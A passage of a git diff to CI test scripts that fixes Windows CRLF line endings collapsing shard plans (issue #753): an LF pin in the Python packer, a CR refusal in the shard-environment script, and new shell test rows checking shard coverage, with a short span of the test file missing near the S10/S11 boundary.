reproducing the +# Windows condition after the packer pins its own newline. See TWO SHIMS above. +ci_diag_simulate() { + ci_diag_shim_dir="$(ci_diag_make_boundary_shim)" || return 2 + PATH="$ci_diag_shim_dir/bin:$PATH" bash "$ci_diag_dir/ci-shard-env.sh" \ + "$ci_diag_job" "$ci_diag_shards" "$ci_diag_shard" + ci_diag_rc=$? + rm -rf "$ci_diag_shim_dir" + return "$ci_diag_rc" +} + +# packer-bytes — the REAL packer with its stdout wrapped in a CRLF-translating +# text stream, raw. On a packer that pins its own newline this comes back +# LF-only; on one that does not, every line is terminated CRLF. +# +# The fixture list is piped in rather than captured first: with pipefail on, an +# extractor that dies takes the pipeline's status with it, and the packer itself +# refuses an empty stdin — so neither half can fail into a silent empty answer. +ci_diag_packer_bytes() { + ci_diag_shim_dir="$(ci_diag_make_stream_shim)" || return 2 + bash "$ci_diag_dir/ci-job-fixtures.sh" "$ci_diag_job" \ + | "$ci_diag_shim_dir/bin/python3" -I -B "$ci_diag_dir/ci-shard-plan.py" \ + --shards "$ci_diag_shards" --shard "$ci_diag_shard" + ci_diag_rc=$? + rm -rf "$ci_diag_shim_dir" + return "$ci_diag_rc" +} + +# crlf-plan — the value the HARNESS receives when the plan's delimiters are +# CR-terminated, printed raw with no trailing newline. +# +# This models the PLATFORM, not the packer, and that is deliberate. Once the +# packer pins its stdout to LF the CRLF path is unreachable through the real +# producer, and a consumer-side guard whose only input came through that +# producer would quietly stop being tested. So the delimiter model is applied +# to real per-shard names here: CR before every separator, none after the last +# entry, which is the shape measured on the runner and the only one that +# reproduces one-fixture-per-shard. +ci_diag_crlf_plan() { + ci_diag_packed="$(bash "$ci_diag_dir/ci-job-fixtures.sh" "$ci_diag_job" \ + | python3 -I -B "$ci_diag_dir/ci-shard-plan.py" \ + --shards "$ci_diag_shards" --shard "$ci_diag_shard")" || return 2 + [ -n "$ci_diag_packed" ] || return 2 + # `@` as the placeholder, translated afterwards: a `\r` in a sed replacement + # is not portable (BSD sed inserts a literal r), and `@` cannot occur in a + # fixture name, which tests/ci-shard-env.sh:13 pins to [A-Za-z0-9._-]+. + printf '%s' "$ci_diag_packed" | sed '$!s/$/@/' | tr '\n' ' ' | tr '@' "$ci_diag_cr" +} + +case "$ci_diag_verb" in + dump) ci_diag_dump ;; + simulate) ci_diag_simulate ;; + packer-bytes) ci_diag_packer_bytes ;; + crlf-plan) ci_diag_crlf_plan ;; + *) ci_diag_usage ;; +esac diff --git a/tests/ci-shard-env.sh b/tests/ci-shard-env.sh index cb4edd14..3c72e969 100755 --- a/tests/ci-shard-env.sh +++ b/tests/ci-shard-env.sh @@ -50,6 +50,61 @@ if [ -z "$ci_shard_env_plan" ]; then exit 2 fi +# CR REFUSAL, NOT CR REMOVAL (#753). The working model is that on +# windows-latest the packer's stdout is a text stream, so every line it prints +# is terminated CRLF: the $( ) capture above strips the trailing LF and leaves +# the CR, the `tr` below converts the interior LFs and leaves every CR, and the +# GITHUB_ENV file's final CRLF is consumed as one line terminator. That +# PRODUCING half is modelled, not measured — see "What is settled, and what is +# still a model" in plugins/uberdev/docs/testing.md for its refutation +# condition. What such a plan then does downstream is NOT modelled: it is +# settled by execution on any host, and it is the failure this refusal exists +# to prevent. The harness receives +# `a b ... y z` and its `case " $PLAN " in *" $name "*` membership +# test matches only `z`. Six shards ran one fixture each and reported green. +# +# Stripping the CR here would work, and would be a band-aid: the plan would be +# correct while the packer stayed wrong, and the next thing to read that +# stdout would inherit the bug with nothing left to warn it. +# tests/ci-shard-plan.py pins its own stdout to LF; this refusal is what makes +# a regression in that pin kill the planning step instead of silently +# shrinking the suite. Same rule as the empty-plan refusal above. +# +# UNREACHABLE ON A HEALTHY TREE, BY TWO INDEPENDENT MECHANISMS, so this can +# never fire on a legitimate plan: ci-job-fixtures.sh extracts names with +# `grep -oE 'tests/[a-zA-Z0-9._-]+\.test\.(sh|py)'`, whose character class +# cannot match a CR even from a CRLF checkout, and ci-shard-plan.py `.strip()`s +# every line it reads off stdin. The packer's own stdout is the only remaining +# CR source on this path, and pinning it is the fix this guard backstops. +ci_shard_env_cr="$(printf '\r')" +case "$ci_shard_env_plan" in + *"$ci_shard_env_cr"*) + # THE HINT NAMES packer-bytes, NOT dump, and that is measured rather than + # reasoned: with a CR-emitting python3 on PATH, `dump` prints no plan byte + # at all. Its [A] re-runs this producer and hits this same refusal, and its + # [B] and [C] read a $UBERDEV_SHARD_PLAN that the failed planning step never + # wrote -- so they report "unset" and match=0 miss=0. `dump` is still the + # right verb for the SHARD-COVERAGE tail, where the plan really is set; it + # is the wrong one HERE, which is why this says so out loud. + # + # `packer-bytes` is the verb whose output flips with the condition: LF-only + # against the shipped pin in ci-shard-plan.py, CRLF once anything below that + # pin re-terminates the lines. (`crlf-plan` also prints bytes here, but it + # prints the same modelled CR-delimited shape on a healthy tree, so it is + # not evidence about THIS failure and is deliberately not offered as such.) + # + # The directory is QUOTED in the printed command. This repo can sit under a + # path containing a space, and unquoted interpolation there prints a command + # that cannot be pasted. + echo "${0##*/}: the packed plan for $ci_shard_env_job shard $ci_shard_env_shard/$ci_shard_env_shards carries a CR byte." >&2 + echo "${0##*/}: a CR-delimited plan makes the shard filter match only the last entry (#753)." >&2 + echo "${0##*/}: dump the packer's own bytes with: bash \"$ci_shard_env_dir/ci-shard-diagnose.sh\" packer-bytes $ci_shard_env_job $ci_shard_env_shards $ci_shard_env_shard" >&2 + echo "${0##*/}: CRLF there means ci-shard-plan.py's newline pin regressed; LF means the CR entered below that pin." >&2 + echo "${0##*/}: not the 'dump' verb here: it re-runs this same refusal and reads a plan this step never emitted, so all three of its sections come back empty." >&2 + exit 2 + ;; +esac + printf 'UBERDEV_SHARD_PLAN=%s\n' "$(printf '%s' "$ci_shard_env_plan" | tr '\n' ' ')" printf 'UBERDEV_SHARD=%s\n' "$ci_shard_env_shard" printf 'UBERDEV_SHARDS=%s\n' "$ci_shard_env_shards" diff --git a/tests/ci-shard-plan.py b/tests/ci-shard-plan.py index fd9db723..869e7cd4 100755 --- a/tests/ci-shard-plan.py +++ b/tests/ci-shard-plan.py @@ -91,6 +91,25 @@ def pack(fixtures, weights, shards): def main(argv): + # LF ON EVERY HOST, NOT THE HOST'S PREFERRED NEWLINE (#753). This function + # prints a wire format: the caller captures it, flattens it with + # `tr '\n' ' '` and hands it to a shard filter that tests membership with + # `case " $PLAN " in *" $name "*`. sys.stdout is a text stream, and the + # working model is that on Windows every `\n` below therefore leaves the + # process as `\r\n`; the capture strips only the LF, `tr` converts only the + # LF, and the CR that remains before each separator un-bounds every entry + # but the last -- one fixture per shard, six of seventy, reported green. + # That green run is MEASURED; the interpreter-level translation offered as + # its cause is MODELLED -- see "What is settled, and what is still a model" + # in plugins/uberdev/docs/testing.md. The pin below is sufficient against + # that translation either way. The protocol's newline is LF. + # + # Unguarded on purpose. sys.stdout is a TextIOWrapper on every path this is + # reachable from, and a host where it is not is a host whose newline this + # cannot pin -- which must raise here rather than emit an unpinned plan that + # tests/ci-shard-env.sh then has to refuse further downstream. + sys.stdout.reconfigure(newline="\n") + parser = argparse.ArgumentParser(prog="ci-shard-plan.py", add_help=True) parser.add_argument("--shards", type=int, required=True) parser.add_argument("--shard", type=int, required=True, help="1-based") diff --git a/tests/ci-shard.test.sh b/tests/ci-shard.test.sh index 679c2dad..6900486a 100644 --- a/tests/ci-shard.test.sh +++ b/tests/ci-shard.test.sh @@ -52,6 +52,56 @@ plan_shard() { # plan_shard N K -> that shard's fixtures on stdout python3 -I -B "$PLAN" --shards "$1" --shard "$2" --weights "$WORK/weights.tsv" <"$WORK/corpus" } +# ONE reader per shape of the workflow, shared by every section below. +# +# The job anchor, the stop-at-the-next-job rule and the ten-space de-indent the +# `run: |` block scalar carries are ONE contract about the workflow's YAML, and +# a second transcription of it is the "one contract, N uncompared copies" class +# tests/ci-wiring.test.sh W12.4 exists to refuse: a fix to the shape lands on +# one copy, leaves the other narrow, and every row built on the narrow one then +# passes over a truncated block instead of failing. + +# run_block_of -> that job's `run: |` body, de-indented. +# marker NON-EMPTY every `run_one` line is replaced by ONE marker line, so +# synthetic invocations can be spliced in at that point +# marker EMPTY the block exactly as the workflow ships it, invocations +# included +run_block_of() { + awk -v JOB="$1" -v MARK="$2" ' + $0 ~ ("^ " JOB ":[[:space:]]*$") { in_job = 1; next } + in_job && /^ [[:alnum:]_-]+:[[:space:]]*$/ { exit } + in_job && /^[[:space:]]+run:[[:space:]]*[|][[:space:]]*$/ { in_run = 1; next } + in_run { + if ($0 ~ /^[[:space:]]*$/) { print ""; next } + if ($0 !~ /^ /) { in_run = 0; next } + sub(/^ /, "") + if (MARK != "" && $0 ~ /^run_one /) { if (!ins) { print MARK; ins = 1 } next } + print + } + ' "$WORKFLOW" +} + +# matrix_shards_of -> how many shards that job's matrix declares, or +# the empty string. Read out of the job's own `shard: [1, 2, ...]` row. +matrix_shards_of() { + awk -v JOB="$1" ' + $0 ~ ("^ " JOB ":[[:space:]]*$") { in_job = 1; next } + in_job && /^ [[:alnum:]_-]+:[[:space:]]*$/ { exit } + in_job && /^[[:space:]]+shard:[[:space:]]*\[/ { print gsub(/,/, ",") + 1; exit } + ' "$WORKFLOW" +} + +# DECLARE, THEN COMPARE — the order tests/ci-wiring.test.sh W13.0 uses, and the +# reason these are constants rather than literals scattered through the rows. +# Every row below plans for these counts; S10 checks each one against the job's +# OWN matrix before any row is allowed to trust it. Written as literals in each +# row instead, a job resharded in the workflow would leave those rows planning +# for a count that is no longer shipped — and their properties still hold for +# that count, so they would stay green over a configuration nobody runs. +LINUX_SHARDS=6 +MACOS_SHARDS=2 +WINDOWS_SHARDS=6 + echo "== S1: the pack is complete and disjoint ==" : >"$WORK/union" S1_RC=0 @@ -139,7 +189,7 @@ s5_refuses "ci-shard-env with a non-numeric shard" \ sh -c "bash '$ENVSH' shape-checks 6 two" echo "== S6: ci-shard-env emits exactly the three variables the harness reads ==" -if bash "$ENVSH" supervision-smoke-macos 2 1 >"$WORK/env.out" 2>"$WORK/env.err"; then +if bash "$ENVSH" supervision-smoke-macos "$MACOS_SHARDS" 1 >"$WORK/env.out" 2>"$WORK/env.err"; then S6_KEYS="$(sed -n 's/^\([A-Z_]*\)=.*/\1/p' "$WORK/env.out" | tr '\n' ',')" [ "$S6_KEYS" = "UBERDEV_SHARD_PLAN,UBERDEV_SHARD,UBERDEV_SHARDS," ] \ && ok "S6: the three GITHUB_ENV keys are present and in order" \ @@ -179,27 +229,44 @@ echo "== S8: the WORKFLOW'S OWN run_one routes by the plan ==" # # The harness is carved out of the LIVE workflow, never transcribed: a copy here # would keep agreeing with itself while CI drifted away from it. -s8_harness() { # s8_harness -> the run: block with invocations stripped - awk -v JOB="$1" ' - $0 ~ ("^ " JOB ":[[:space:]]*$") { in_job = 1; next } - in_job && /^ [[:alnum:]_-]+:[[:space:]]*$/ { exit } - in_job && /^[[:space:]]+run:[[:space:]]*[|][[:space:]]*$/ { in_run = 1; next } - in_run { - if ($0 ~ /^[[:space:]]*$/) { print ""; next } - if ($0 !~ /^ /) { in_run = 0; next } - sub(/^ /, "") - if ($0 ~ /^run_one /) next - print +# +# SPLICED, NOT APPENDED. The extracted block ends with the job's failure tail, +# which exits non-zero when anything raised `fail`. Appending the synthetic +# invocations AFTER that tail means a tail that can fail runs BEFORE them and +# the script exits having invoked nothing. tests/ci-wiring.test.sh W12.3 +# already carves its fixtures in at a marker for the same reason; this is that +# shape, so the rows below keep measuring the harness rather than the position +# they happened to be pasted at. +S8_MARK='@@S8-INVOCATIONS@@' +s8_script() { # s8_script + # FAILS LOUDLY, never splices into nothing. A marker that moved, or an empty + # invocation file, would write a harness that invokes NOTHING -- and every row + # below would then go red for a reason that has nothing to do with routing. + # Same doctrine as the FATAL preflight at the top of this file: a scaffold + # that could not be built must say so, not hand the rows a vacuous script. + [ -s "$2" ] || { echo "FATAL: ${0##*/}: no invocations to splice from $2" >&2; exit 2; } + # One statement per line, deliberately: `} close(INV);` on the same line as the + # while-block's closing brace parses under BSD awk and is not worth betting on + # under the gawk/mawk that run this file on ubuntu and Git Bash. + awk -v MARK="$S8_MARK" -v INV="$2" ' + $0 == MARK { + while ((getline line < INV) > 0) { print line; n++ } + close(INV) + spliced++ + next } - ' "$WORKFLOW" + { print } + END { if (spliced != 1 || n < 1) exit 3 } + ' "$1" >"$3" \ + || { echo "FATAL: ${0##*/}: $S8_MARK did not splice exactly one non-empty invocation set into $1" >&2; exit 2; } } -S8_BODY="$(s8_harness shape-checks)" +S8_BODY="$(run_block_of shape-checks "$S8_MARK")" if [ -z "$S8_BODY" ]; then bad "S8: the ubuntu harness extracted empty — the job key or the block shape moved" else ok "S8: the ubuntu harness extracted non-empty" + printf '%s\n' "$S8_BODY" >"$WORK/s8.body" { - printf '%s\n' "$S8_BODY" # Two fixtures, one in the plan and one not, invoked exactly the way the # workflow invokes them -- including the zsh spelling, which is the case that # makes keying on the FIRST argument wrong. @@ -214,7 +281,8 @@ else printf 'run_one bash tests/flagged.test.sh --artifact-publication-only\n' printf 'run_one env MSYSTEM=MSYS bash tests/env-prefixed.test.sh\n' printf 'run_one python -I -B tests/pyfixture.test.py\n' - } >"$WORK/s8.sh" + } >"$WORK/s8.inv" + s8_script "$WORK/s8.body" "$WORK/s8.inv" "$WORK/s8.sh" S8_OUT="$( UBERDEV_SHARD_PLAN="in-plan.test.sh zsh-in-plan.test.sh flagged.test.sh env-prefixed.test.sh pyfixture.test.py" \ UBERDEV_SHARD=1 UBERDEV_SHARDS=2 \ @@ -232,6 +300,31 @@ else *"SKIP bash tests/not-in-plan.test.sh"*) ok "S8: an unplanned fixture is SKIPPED" ;; *) bad "S8: an unplanned fixture was not skipped — the shards would each run everything" ;; esac + + # Polarity: with no plan the SAME harness must run every row. This is the + # standalone case ci-wiring W12.3 depends on, asserted here at the routing seam. + # + # THE UNSET IS EXPLICIT, and it has to be. This fixture runs INSIDE a shard, + # where UBERDEV_SHARD_PLAN is exported by the planning step -- so a subshell + # that merely declines to set it inherits the real plan, which holds none of + # the synthetic names below and skips all six. It passed locally for the only + # reason such a row ever does: the variable happened not to exist in the + # author's shell. + S8_ALL="$( + unset UBERDEV_SHARD_PLAN UBERDEV_SHARD UBERDEV_SHARDS + bash -e "$WORK/s8.sh" 2>&1 || true + )" + S8_N="$(printf '%s\n' "$S8_ALL" | grep -c '^--- RUN ')" + [ "$S8_N" = "6" ] && ok "S8: with no plan set, all six run (the standalone case)" \ + || bad "S8: an unset plan ran $S8_N of 6 — the default is not fail-open" + + # S9 — the routing KEY, driven through the same extracted harness. + # + # These rows carry their own identifier and therefore their own header: printed + # under S8's, twelve S9 rows would read as S8's and a row shipped as a + # duplicate of its predecessor would have nothing to distinguish it, which is + # the row-id ambiguity ci-wiring's own anti-vacuity row exists to refuse. + echo "== S9: the routing key survives every argv shape the workflow uses ==" case "$S8_OUT" in *"RUN bash tests/flagged.test.sh --artifact-publication-only"*) ok "S9: a fixture with a TRAILING FLAG runs (the key is not the last argument)" ;; @@ -253,8 +346,8 @@ else # times, silently. Only a .py held OUT of the plan can tell "routed" apart from # "fell through", and that mutation survived until this row existed. S9_PY="$( - printf '%s\n' "$S8_BODY" >"$WORK/s9py.sh" - printf 'run_one python -I -B tests/pyfixture.test.py\n' >>"$WORK/s9py.sh" + printf 'run_one python -I -B tests/pyfixture.test.py\n' >"$WORK/s9py.inv" + s8_script "$WORK/s8.body" "$WORK/s9py.inv" "$WORK/s9py.sh" UBERDEV_SHARD_PLAN="in-plan.test.sh" UBERDEV_SHARD=1 UBERDEV_SHARDS=2 \ bash -e "$WORK/s9py.sh" 2>&1 || true )" @@ -272,8 +365,8 @@ else # the shard that WAS given it also runs it. S7 alone could not catch this; the # mutation survived until this row drove the harness itself. S9_SUB="$( - printf '%s\n' "$S8_BODY" >"$WORK/s9sub.sh" - printf 'run_one bash tests/plan.test.sh\n' >>"$WORK/s9sub.sh" + printf 'run_one bash tests/plan.test.sh\n' >"$WORK/s9sub.inv" + s8_script "$WORK/s8.body" "$WORK/s9sub.inv" "$WORK/s9sub.sh" UBERDEV_SHARD_PLAN="long-plan.test.sh" UBERDEV_SHARD=1 UBERDEV_SHARDS=2 \ bash -e "$WORK/s9sub.sh" 2>&1 || true )" @@ -286,8 +379,8 @@ else # shape ci-wiring W12.3 executes (`run_one bash /a.sh`), so a filter # that refused it would red a row about something else entirely. S8_SYN="$( - printf '%s\n' "$S8_BODY" >"$WORK/s9.sh" - printf 'run_one true /somewhere/else/a.sh\n' >>"$WORK/s9.sh" + printf 'run_one true /somewhere/else/a.sh\n' >"$WORK/s9.inv" + s8_script "$WORK/s8.body" "$WORK/s9.inv" "$WORK/s9.sh" UBERDEV_SHARD_PLAN="in-plan.test.sh" UBERDEV_SHARD=1 UBERDEV_SHARDS=2 \ bash -e "$WORK/s9.sh" 2>&1 || true )" @@ -296,25 +389,250 @@ else ok "S9: an argv naming no fixture runs — W12.3's synthetic fixtures survive the filter" ;; *) bad "S9: a non-fixture argv was skipped — ci-wiring W12.3 would red" ;; esac +fi - # Polarity: with no plan the SAME harness must run every row. This is the - # standalone case ci-wiring W12.3 depends on, asserted here at the routing seam. - # - # THE UNSET IS EXPLICIT, and it has to be. This fixture runs INSIDE a shard, - # where UBERDEV_SHARD_PLAN is exported by the planning step -- so a subshell - # that merely declines to set it inherits the real plan, which holds none of - # the synthetic names below and skips all six. It passed locally for the only - # reason such a row ever does: the variable happened not to exist in the - # author's shell. - S8_ALL="$( - unset UBERDEV_SHARD_PLAN UBERDEV_SHARD UBERDEV_SHARDS - bash -e "$WORK/s8.sh" 2>&1 || true - )" - S8_N="$(printf '%s\n' "$S8_ALL" | grep -c '^--- RUN ')" - [ "$S8_N" = "6" ] && ok "S8: with no plan set, all six run (the standalone case)" \ - || bad "S8: an unset plan ran $S8_N of 6 — the default is not fail-open" +echo "== S10: every shard of every job runs its whole plan (aggregate) ==" +# THE ROW ACCEPTANCE CRITERION 3 ASKS FOR, and the one S8 above structurally +# cannot be. S8 extracts the UBUNTU harness and drives it with a synthetic +# plan of this file's own making: it measures the routing RULE, and no plan it +# writes can carry a delimiter the runner introduced. This row replays each +# job's real argv against its real per-shard plan and compares the AGGREGATE +# run count to the job's wired fixture count. The denominator comes from +# tests/ci-job-fixtures.sh, which reads the run_one lines back out of the +# workflow -- a guard that re-derived the count the way the harness does would +# agree with the harness by construction and see nothing. +# The four interpreters the workflow's run_one lines use, stubbed so the +# replay costs nothing. `--- RUN` is echoed BEFORE the invocation, so the +# count is unaffected by the stub. +s10_runner() { # $1 = job key -> path to a replayable script + { + printf 'bash() { :; }\n' + printf 'zsh() { :; }\n' + printf 'python() { :; }\n' + printf 'env() { shift; "$@"; }\n' + run_block_of "$1" '' + } >"$WORK/s10.$1.sh" + printf '%s\n' "$WORK/s10.$1.sh" +} +s10_run_count() { # $1 = script, $2 = plan value, $3 = shard, $4 = shards + UBERDEV_SHARD_PLAN="$2" UBERDEV_SHARD="$3" UBERDEV_SHARDS="$4" \ + bash -e "$1" 2>&1 | grep -c '^--- RUN ' +} +while IFS= read -r s10_spec; do + [ -n "$s10_spec" ] || continue + s10_job="${s10_spec%%|*}" + s10_shards="${s10_spec##*|}" + # DECLARE, THEN COMPARE. The count above comes from this file's own constants; + # nothing below may plan for it until the job's own matrix agrees. A job + # resharded in the workflow reds here — and stops, rather than measuring a + # shard count that is no longer shipped and calling the result green. + s10_matrix="$(matrix_shards_of "$s10_job")" + if [ "$s10_matrix" != "$s10_shards" ]; then + bad "S10: $s10_job's matrix declares ${s10_matrix:-} shard(s), this file plans for $s10_shards — reshard the constants at the top" + continue + fi + # ONE extraction per job, not one per shard. The wired list is a pure function + # of (job key, workflow file) and neither moves during the run, so re-deriving + # it inside the shard loop bought a fresh process tree per shard and nothing + # else. Both consumers below read the same capture. + s10_fixtures="$(bash "$FIXTURES" "$s10_job")" + s10_wired="$(printf '%s\n' "$s10_fixtures" | grep -c .)" + s10_script="$(s10_runner "$s10_job")" + s10_total=0 + s10_bad='' + s10_k=1 + while [ "$s10_k" -le "$s10_shards" ]; do + s10_plan="$(printf '%s\n' "$s10_fixtures" | python3 -I -B "$PLAN" --shards "$s10_shards" --shard "$s10_k")" + s10_len="$(printf '%s\n' "$s10_plan" | grep -c .)" + s10_flat="$(printf '%s' "$s10_plan" | tr '\n' ' ')" + s10_run="$(s10_run_count "$s10_script" "$s10_flat" "$s10_k" "$s10_shards")" + s10_total=$((s10_total + s10_run)) + [ "$s10_run" = "$s10_len" ] || s10_bad="$s10_bad ${s10_k}(ran=$s10_run,plan=$s10_len)" + s10_k=$((s10_k + 1)) + done + if [ -n "$s10_bad" ]; then + bad "S10: $s10_job shard(s)$s10_bad ran fewer fixtures than they were planned" + else + ok "S10: every $s10_job shard ran its whole plan" + fi + if [ "$s10_total" = "$s10_wired" ]; then + ok "S10: $s10_job shards executed $s10_total of $s10_wired wired fixtures (aggregate)" + else + bad "S10: $s10_job executed $s10_total of $s10_wired wired fixtures — $((s10_wired - s10_total)) never ran in ANY shard" + fi +done <&1)" +S11_RC=$? +S11_RUN="$(printf '%s\n' "$S11_OUT" | grep -c '^--- RUN ')" +# The `-n` is not decoration. An EMPTY value is read by the harness as an unset +# plan and fails OPEN, so on a one-fixture shard "ran 1" would be indistinguish- +# able from the CR signature -- the row would agree with a dead crlf-plan verb. +if [ -n "$S11_VALUE" ] && [ "$S11_LEN" -gt 1 ] && [ "$S11_RUN" = "1" ]; then + ok "S11a: the CR-delimited plan runs 1 of $S11_LEN — the #753 signature reproduces" +else + bad "S11a: expected 1 of $S11_LEN under the CR model, got $S11_RUN — the byte model no longer matches the harness" +fi +if [ "$S11_RC" -ne 0 ]; then + ok "S11b: the harness exits non-zero rather than reporting a short run as a pass" +else + bad "S11b: the harness ran $S11_RUN of $S11_LEN fixtures and exited 0 — a shard can still report green over a skipped suite" +fi +case "$S11_OUT" in + *SHARD-COVERAGE*) ok "S11b: the log names the shortfall, so the cause is readable from the job log" ;; + *) bad "S11b: nothing in the output names the coverage shortfall" ;; +esac + +echo "== S12: the aggregate comparison is not vacuous ==" +# S10 asserts a number equals a number. Both come out right on a healthy tree, +# so on its own S10 cannot say whether it would notice a wrong one. Dropping +# one entry from a shard's plan is the smallest defect it must catch. +S12_JOB=shape-checks-windows +S12_SCRIPT="$(s10_runner "$S12_JOB")" +S12_FULL="$(bash "$FIXTURES" "$S12_JOB" | python3 -I -B "$PLAN" --shards "$WINDOWS_SHARDS" --shard 3)" +S12_LEN="$(printf '%s\n' "$S12_FULL" | grep -c .)" +S12_SHORT="$(printf '%s\n' "$S12_FULL" | sed '$d' | tr '\n' ' ')" +S12_RUN="$(s10_run_count "$S12_SCRIPT" "$S12_SHORT" 3 "$WINDOWS_SHARDS")" +if [ "$S12_RUN" = "$((S12_LEN - 1))" ] && [ "$S12_RUN" != "$S12_LEN" ]; then + ok "S12: a plan one fixture short runs one fixture fewer — S10's comparison can see it" +else + bad "S12: a plan of $((S12_LEN - 1)) ran $S12_RUN against a full plan of $S12_LEN — the count is not tracking the plan" +fi + +echo "== S13: the producer refuses a pack its packer delivered with CRs ==" +# Driven through the REAL tests/ci-shard-env.sh with a CR-reapplying python3 +# underneath it -- the Windows condition, reproduced. A producer that strips +# the CR would pass a weaker version of this row while leaving the packer +# wrong; the assertion is therefore on the REFUSAL, not on clean output. +# +# The shim `simulate` uses re-terminates the packer's lines at the PROCESS +# BOUNDARY, so this row keeps reproducing the defect after the packer pins its +# own stdout -- see the TWO SHIMS note in tests/ci-shard-diagnose.sh. A row fed +# only through the producer it is meant to test stops testing it the moment +# that producer is fixed. +S13_OUT="$(bash "$REPO_ROOT/tests/ci-shard-diagnose.sh" simulate shape-checks-windows "$WINDOWS_SHARDS" 2 2>"$WORK/s13.err")" +S13_RC=$? +if [ "$S13_RC" -ne 0 ]; then + ok "S13: ci-shard-env.sh refuses a CR-bearing pack (rc=$S13_RC)" +else + bad "S13: ci-shard-env.sh accepted a CR-bearing pack and emitted a plan — the shard filter will match only its last entry" +fi +case "$S13_OUT" in + *UBERDEV_SHARD_PLAN=*) bad "S13: a plan line was emitted despite the CR" ;; + *) ok "S13: no UBERDEV_SHARD_PLAN line reaches GITHUB_ENV when the pack is tainted" ;; +esac +if grep -q 'CR' "$WORK/s13.err"; then + ok "S13: the refusal names the CR, so the planning step's failure is self-explaining" +else + bad "S13: the refusal diagnostic does not mention a CR: $(head -c 100 "$WORK/s13.err" | tr '\n' ' ')" fi +echo "== S14: the packer pins its own stdout to LF ==" +# The falsifiable form of a Windows-only property. The REAL packer runs with +# its stdout wrapped in a CRLF-translating text stream -- the same wrapper +# python.exe installs by default -- and must still emit LF. A packer that +# leaves the newline to the host emits CRLF here, on every host. +# +# THE BYTES ARE CAPTURED BEFORE THEY ARE JUDGED, and the producer's status is +# read off the producer rather than off `od`. Piping straight into `od | tr` +# would hand $? the status of `tr`, so a packer that died would arrive as an +# empty haystack containing no CR -- and the row would report PASS for the one +# reason that is not a pass. +bash "$REPO_ROOT/tests/ci-shard-diagnose.sh" packer-bytes shape-checks-windows "$WINDOWS_SHARDS" 2 \ + >"$WORK/s14.bytes" 2>"$WORK/s14.err" +S14_RC=$? +if [ "$S14_RC" -ne 0 ] || [ ! -s "$WORK/s14.bytes" ]; then + bad "S14: packer-bytes produced nothing to judge (rc=$S14_RC) — $(head -c 100 "$WORK/s14.err")" +else + case "$(od -c "$WORK/s14.bytes" | tr -s ' ')" in + *'\r'*) bad "S14: ci-shard-plan.py emitted a CR through a CRLF-translating stdout — the plan reaches the harness CR-delimited" ;; + *) ok "S14: ci-shard-plan.py emits LF even when the host's stdout translates newlines" ;; + esac +fi + +echo "== S15: every sharded job dumps its plan bytes before it runs ==" +# The od -c dump is the evidence this issue turned on: with it the next +# delimiter defect is one grep away in the job log, and without it the next one +# is invisible exactly as this one was. The step is a single line of YAML and +# nothing else in this suite would notice it going away -- S10 replays the +# harness, not the job's step list, so a job that had lost its dump would still +# pass every row above. The expected shard count is read out of the job's own +# matrix, so a job resharded from 6 to 8 fails here rather than quietly dumping +# a plan for a shard count it no longer has. +# +# THE NEEDLE IS QUALIFIED, and that is not fussiness. `ci-shard-diagnose.sh +# dump` occurs TWICE inside each of these jobs -- once as the step, once inside +# the SHARD-COVERAGE tail's own "Dump the plan bytes with:" hint -- so a row +# keyed on the bare string is satisfied by the prose that merely mentions the +# step and stays green after the step itself is deleted. Every needle below +# carries the `run:` prefix, which only the step has. +S15_PLAN_RE='^[[:space:]]+run:[[:space:]]+bash tests/ci-shard-env[.]sh ' +S15_DUMP_RE='^[[:space:]]+run:[[:space:]]+bash tests/ci-shard-diagnose[.]sh dump ' +S15_HARNESS_RE='^[[:space:]]+run_one ' +s15_dump_line_of() { # $1 = job key -> that job's dump step, leading indent stripped + # The trailing CR is stripped because this fixture runs on windows-latest too, + # and /.gitattributes:44-51 deliberately scopes `eol=lf` to + # plugins/uberdev/hooks/** -- nothing pins the checkout of this workflow, so + # whether its lines arrive LF or CRLF on that runner is the runner's + # core.autocrlf, not this repo's decision. Only the exact-equality row needs + # it: the two helpers below count commas and report line numbers, neither of + # which a line terminator can move. This normalises a CHECKOUT artifact and + # weakens nothing -- the CR that this issue is about is in the plan the packer + # emits at runtime, and S13/S14 are what hold that. + awk -v JOB="$1" -v PAT="$S15_DUMP_RE" ' + $0 ~ ("^ " JOB ":[[:space:]]*$") { in_job = 1; next } + in_job && /^ [[:alnum:]_-]+:[[:space:]]*$/ { exit } + in_job && $0 ~ PAT { sub(/^[[:space:]]*/, ""); sub(/\r$/, ""); print; exit } + ' "$WORKFLOW" +} +s15_lineno_of() { # $1 = job key, $2 = ERE -> line number of its first match inside the job + awk -v JOB="$1" -v PAT="$2" ' + $0 ~ ("^ " JOB ":[[:space:]]*$") { in_job = 1; next } + in_job && /^ [[:alnum:]_-]+:[[:space:]]*$/ { exit } + in_job && $0 ~ PAT { print NR; exit } + ' "$WORKFLOW" +} +for s15_job in shape-checks supervision-smoke-macos shape-checks-windows; do + s15_shards="$(matrix_shards_of "$s15_job")" + s15_line="$(s15_dump_line_of "$s15_job")" + s15_want="run: bash tests/ci-shard-diagnose.sh dump $s15_job $s15_shards \"\${{ matrix.shard }}\"" + if [ -z "$s15_shards" ]; then + bad "S15: $s15_job declares no shard matrix — the expected shard count cannot be read" + elif [ "$s15_line" = "$s15_want" ]; then + ok "S15: $s15_job dumps its plan bytes for all $s15_shards shards" + else + bad "S15: $s15_job's dump step is missing or drifted — want [$s15_want], got [$s15_line]" + fi + # POSITION IS PART OF THE WIRING, and no amount of matching on the line's TEXT + # can see it. A dump placed before the planning step would od an unset + # variable and report that absence as the finding; one placed after the + # harness would print the bytes of a job that had already decided. The three + # landmarks are therefore compared as line numbers inside the job's own block. + s15_plan_at="$(s15_lineno_of "$s15_job" "$S15_PLAN_RE")" + s15_dump_at="$(s15_lineno_of "$s15_job" "$S15_DUMP_RE")" + s15_harness_at="$(s15_lineno_of "$s15_job" "$S15_HARNESS_RE")" + if [ -n "$s15_plan_at" ] && [ -n "$s15_dump_at" ] && [ -n "$s15_harness_at" ] && + [ "$s15_plan_at" -lt "$s15_dump_at" ] && [ "$s15_dump_at" -lt "$s15_harness_at" ]; then + ok "S15: $s15_job dumps between planning (:$s15_plan_at) and the harness (:$s15_harness_at)" + else + bad "S15: $s15_job's dump is not between the planning step and the harness — plan=[$s15_plan_at] dump=[$s15_dump_at] harness=[$s15_harness_at]" + fi +done + echo "" echo "== Summary ==" echo " passed: $PASS" diff --git a/tests/goal.test.sh b/tests/goal.test.sh index 4b60465b..5acf1037 100755 --- a/tests/goal.test.sh +++ b/tests/goal.test.sh @@ -505,8 +505,8 @@ 